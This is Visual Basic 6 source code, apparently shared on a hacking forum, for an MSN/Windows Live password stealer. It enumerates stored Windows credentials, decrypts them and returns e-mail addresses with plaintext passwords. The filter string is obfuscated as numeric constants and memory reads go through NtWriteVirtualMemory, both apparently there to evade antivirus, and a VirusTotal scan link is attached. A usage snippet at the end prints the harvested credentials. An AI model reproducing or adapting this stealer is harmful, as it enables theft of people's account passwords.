Option Explicit
 
'KERNEL32
Private Declare Function GetProcessHeap Lib "KERNEL32" () As Long
'ADVAPI32
Private Declare Function CredEnumerateW Lib "ADVAPI32" (ByVal lpszFilter As Long, ByVal lFlags As Long, ByRef pCount As Long, ByRef lppCredentials As Long) As Long
'CRYPT32
Private Declare Function CryptUnprotectData Lib "CRYPT32" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Long, ByVal pOptionalEntropy As Long, ByVal pvReserved As Long, ByVal pPromptStruct As Long, ByVal dwFlags As Long, ByRef pDataOut As Long) As Long
'NTDLL
Private Declare Function NtWriteVirtualMemory Lib "NTDLL" (ByVal ProcessHandle As Long, ByVal BaseAddress As Long, ByVal pBuffer As Long, ByVal NumberOfBytesToWrite As Long, ByRef NumberOfBytesWritten As Long) As Long
Private Declare Function RtlFreeHeap Lib "NTDLL" (ByVal HeapHandle As Long, ByVal Flags As Long, ByVal MemoryPointer As Long) As Long
 
Private Type DATA_BLOB
    cbData                  As Long
    pbData                  As Long
End Type
 
Public Type ACCOUNT_INFO
    sMail                   As String
    sPassword               As String
End Type
 
Public Function sMSN() As ACCOUNT_INFO()
    Dim tTMP()      As ACCOUNT_INFO
    Dim i           As Long
    Dim x           As Long
    Dim lCount      As Long
    Dim lCred       As Long
    Dim lPtr        As Long
    Dim lUser       As Long
    Dim tBlobIn     As DATA_BLOB
    Dim bvGUID(4)   As Currency
 
    bvGUID(0) = 2814797012434.9527@
    bvGUID(1) = 2139259215904.7791@
    bvGUID(2) = 1632598244864.8297@
    bvGUID(3) = 2842944080556.8622@
    bvGUID(4) = 275.2573@
    'bvGUID = "WindowsLive:name=*"
 
    Call CredEnumerateW(VarPtr(bvGUID(0)), 0, lCount, lCred)
 
    For i = 0 To lCount - 1
        Call NtWriteVirtualMemory(-1, ByVal VarPtr(lPtr), ByVal lCred + (i * &H4), &H4, 0)
        Call NtWriteVirtualMemory(-1, ByVal VarPtr(lUser), ByVal (lPtr + &H30), &H4, 0)
        Call NtWriteVirtualMemory(-1, ByVal VarPtr(tBlobIn.cbData), ByVal (lPtr + &H18), &H8, 0)
 
        Call CryptUnprotectData(tBlobIn, 0&, 0&, 0&, 0&, 1&, 0&)
 
        If tBlobIn.cbData Then
            ReDim Preserve tTMP(x)
            With tTMP(x)
                .sPassword = Space$(tBlobIn.cbData \ 2)
                Call NtWriteVirtualMemory(-1, ByVal StrPtr(.sPassword), ByVal tBlobIn.pbData, tBlobIn.cbData, 0)
                If Len(.sPassword) > 0 Then
                    .sMail = uReadStr(lUser)
                End If
            End With
            x = x + 1
        End If
    Next i
 
    Call RtlFreeHeap(GetProcessHeap(), 0, lCred)
 
    sMSN = tTMP
End Function
 
Private Function uReadStr(ByVal lPtr As Long) As String
    Dim iChar       As Integer
    Dim i           As Long
 
    Do
        Call NtWriteVirtualMemory(-1, ByVal VarPtr(iChar), ByVal (lPtr + i * 2), 2, ByVal 0&)
        i = i + 1
        If iChar = 0 Then Exit Do
        uReadStr = uReadStr & ChrW$(iChar)
    Loop
End Function

http://www.virustotal.com/es/analisis/2d7deb3a66001d026c2267bec22393727c97ee4ac70bb3995b10622518391189-1278876972

    Dim i   As Long
    Dim x() As ACCOUNT_INFO
 
    x = sMSN
 
    For i = LBound(x) To UBound(x)
        Debug.Print x(i).sMail, x(i).sPassword
    Next i